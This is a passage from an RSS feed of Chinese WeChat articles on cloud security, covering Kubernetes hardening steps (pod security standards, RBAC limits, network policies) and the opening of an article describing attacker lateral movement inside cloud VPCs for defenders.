2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">PSA</p> 是一个内置的，实现了Pod 安全标准(PSS)安全要求的准入控制器。<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">PSS</p> 定义了三种策略——特权、基线和受限——从最宽松到最严格。PSA 通过操作模式将这些策略应用于特定的名称空间。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">强烈建议, 至少对敏感环境(如生产)的命名空间实施基线策略。这将防止最常见的权限升级，并在高权限的错误配置的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 中防止逃逸。可以通过运行以下<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">kubectl</p>命令来应用 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">PSS</p> 策略：</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><p style="overflow-x: auto;padding: 16px;background: #1E1E1E;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">kubectl label –overwrite ns &lt;namespace&gt; pod-security.kubernetes.io/&lt;mode&gt;=&lt;policy-type&gt;</p></pre><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">3.执行严格的K8s RBAC规则</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">避免将<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">reading secrets</p>,<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">workload creation</p>和 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">exec into pod</p> 权限授予非管理 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8s</p> 主体。凭借<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">reading secrets</p>权限，入侵 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8s</p> 主体的黑客可以列出命名空间或集群中的密钥并泄露敏感数据。如果 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8s</p> 主体有权创建新的工作节点或到 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 中执行，黑客可能能够生成新的工作节点或将 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">shell</p> 放入<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM/AAD</p> 角色、服务帐户或托管身份关联的工作节点中. 然后他们可以获得临时凭证，从而允许他们以 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM/AAD</p> 身份执行 API。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">4. 避免在 K8s secrets/pods 中存储长期云密钥</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">如果 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Kubernetes</p> 工作节点需要访问云服务，请考虑为托管集群实施高度安全的集成标准，例如服务帐户的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p> 角色 (<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">EKS</p>)、工作节点身份 (<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">GKE</p>) 或 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Azure AD</p> 工作节点身份 (<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">AKS</p>)。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">5.修复公开暴露的容器上的关键漏洞</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">公开的有严重漏洞的容器可能会给组织带来重大安全风险，因为它会为黑客提供托管的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">K8s</p> 集群的入口。确保持续扫描容器映像并修复公开的容器上的任何严重漏洞。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">6. 限制网络访问</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Kubernetes</p> 中，默认情况下 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 可以自由地相互通信。因此，入侵<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Web</p> 应用程序提供服务的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 可以使黑客将流量定向到集群中的其他 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p>。在 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 级别的网络策略可以控制是否允许基于第二个 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p> 的身份、命名空间和 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IP</p> 地址范围的入口/出口流量。这有助您隔离 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">pod</p>，从而限制入侵的范围。</div><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">请点一下右下角的“在看”，谢谢！！</h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">请帮忙点赞， 谢谢！！</h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">请帮忙转发，谢谢！！</h1><h1 data-tool="mdnice编辑器" style="font-size: 24px;margin-top: 1.2em;margin-bottom: 1em;font-weight: bold;color: rgb(119, 48, 152);">暗号: 365955</h1></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7f04e8a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbx5mY8AMPia2OrdGNa1WdOqBCjMxVSQqpHo31JrrSQK8MV36Vc5SKnYHiawzavGjwfic943r8bVLRTNw%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7da5cc13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbx5mY8AMPia2OrdGNa1WdOqB0viaEmgI8rBFVe14ucQkwngzhZPokxUptXkSJbUlVZcHtBcsJfma8oQ%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=eb2447f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbx5mY8AMPia2OrdGNa1WdOqBUD6Cj3peY4UQAujqUf7tvzEKicmzRXDibyQnT8bYE6QPdibnDecdar7Zg%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ce183c5b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbx5mY8AMPia2OrdGNa1WdOqBvGyD1Q60JjC3zS75uR5bBPncQVf8nMB9Ga9MDZewuE3HyRyYyU6CSQ%2F640%3Fwx_fmt%3Dother"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=af8a7554&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbx5mY8AMPia2OrdGNa1WdOqBBBuMKNQia7B5ibNe4CqaJepFpyic4rP3RRBFibbdqMlxRwdiaO70LZBFezQ%2F640%3Fwx_fmt%3Dother"/></p>



<p><a href="2247489470">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f619d37b&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU4NjY0NTExNA%3D%3D%26mid%3D2247489470%26idx%3D1%26sn%3D5fa17abf4994850c49bb0f5c89dca038">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 26 May 2023 07:24:00 +0800</pubDate>
    </item>
    <item>
      <title>云安全案例12: vpc的入侵和横向移动</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&amp;mid=2247489469&amp;idx=1&amp;sn=85ee21a39f9fd7c58c1951c737d4cfd6</link>
      <description>文末暗号</description>
      <content:encoded><![CDATA[<p>
原创 <span>debugeeker</span> <span>2023-05-25 08:05</span> <span style="display: inline-block;">广东</span>
</p>

<p>文末暗号</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=96151e12&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQXsgGBUcicbyfUCeObQ4GlUrz3T31zsU3BYnNNUBmuGuTWQNvcjaBHRW9Jj62iaDLu6uceYicBQLBd5oops1ClShg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding-right: 10px;padding-left: 10px;line-height: 1.6;word-break: break-word;text-align: left;font-size: 15px;letter-spacing: 0.05em;color: rgb(89, 89, 89);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在涵盖云中横向移动的系列博文的第一篇中，我们将介绍虚拟私有云 (<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p>)的横向移动。我们将讨论黑客的策略、技术和程序 (<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">TTP</p>)，并概述安全从业者和云构建者的最佳实践，以帮助保护他们的云环境并降低 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 中和 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 间横向移动的风险。这一点尤其重要，因为 58% 的云环境至少有一个公开暴露的节点，其中存储了明文长期云密钥。</div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">云横向运动简介</h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">黑客为了在环境中移动并实现其目的（例如泄露敏感数据、征用节点）往往使用横向移动来扩展网络访问权限。</p><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">多年来，横向移动一直用于基于网络协议和服务（例如 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Active Directory</p>、<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">SMB</p> 和 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">NTLM</p>）的本地网络。从通过网络共享传播的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">Stuxnet</p>蠕虫，到执行传递哈希和票证的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">APT1</p> 和 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">APT29</p> 等高级威胁组织，横向移动已涉及许多重大攻击。</div><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在云环境中，当黑客获得初始访问权限并入侵节点时，他们可以滥用 IAM 权限或使用众所周知的本地横向移动技术在 虚拟私有云 (<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p>) 中从一个节点“跳转”到另一个节点。他们的目标是获得非常有价值的资产，这些资产可以在同一 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 内部或外部提供额外的横向移动和对其他云资源和身份（例如，敏感数据或管理员身份）的访问。</div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">背景：本地与云</h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">在深入探讨云网络层中的不同横向移动技术之前，让我们首先回顾一下本地环境和云环境之间的一些重要区别：</p><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">身份和访问管理 (IAM)</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">尽管许多横向移动技术都适用于本地和云网络，但 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p> 是云中的一个重要区别：<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IAM</p> 管理访问控制并授予身份对特定资源执行某些操作的权限。入侵了这些身份的黑客可能能够冒充它，执行操作（取决于其有效权限）并通过云提供商 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">API</p> 命令横向移动到帐户中的其它云资源。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">部署和配置</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">与需要广泛的网络知识并需要硬件指定配置和缓慢的采购流程的内部部署不同，在云中部署和配置 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 和网络资源（例如互联网网关、节点均衡器、ACL）非常简单明了。然而，这样的执行速度增加了可利用的网络错误配置和资源入侵的风险。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">可见性和风险管理</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">云的复杂架构使得跟踪和保护数以千计的资源变得具有挑战性，更不用说映射它们之间的连接、衡量有效权限以及分析和优先考虑对组织的关键威胁了。为了解决这个问题，所有主要的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">CSP</p> 都支持专用 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">API</p>，这些 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">API</p> 提供对部署在云环境中的资源的可见性。尽管对云管理员很有用，但此类功能可能会被黑客滥用，确定在被入侵的特权帐户中运行的资源类型。</div><h2 data-tool="mdnice编辑器" style="min-height: 32px;line-height: 28px;color: rgb(119, 48, 152);border-bottom: 1px solid rgb(119, 48, 152);border-top-color: rgb(119, 48, 152);border-right-color: rgb(119, 48, 152);border-left-color: rgb(119, 48, 152);font-size: 21px;margin: 1em auto;padding-top: 0.5em;padding-bottom: 0.5em;text-align: center;width: 85%;font-weight: bold;display: flex;flex-direction: column;justify-content: center;">网络横向移动策略、技术和程序</h2><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">黑客利用多种技术和功能进行在云中横向移动攻击。其中包括远程服务、蠕虫、有效帐户、<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 对等互连、<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">IaaS</p>/<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">PaaS</p> 数据库、漏洞和错误配置。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">通过远程服务访问主机</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">黑客在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 中可以使用被入侵虚拟机中存储的明文私钥或凭据横向移动到接受<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">SSH</p> 和 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">RDP</p> 等远程连接的机器。一旦进入 VPC， 它们还可以扫描可利用的易受攻击的远程服务。</div><h3 data-tool="mdnice编辑器" style="font-weight: bold;background-color: rgb(204, 204, 204);padding: 2px 10px;width: fit-content;margin: 60px auto 10px;color: rgb(119, 48, 152);">植入蠕虫</h3><div data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;margin-top: 5px;margin-right: 4px;">黑客经常使用蠕虫来感染节点，然后扫描 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(150, 84, 181);">VPC</p> 中具有可利用漏洞和安全配置错误的其他节点。例如，具有不受限制的安全组规则和弱身份验证方法的 <p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 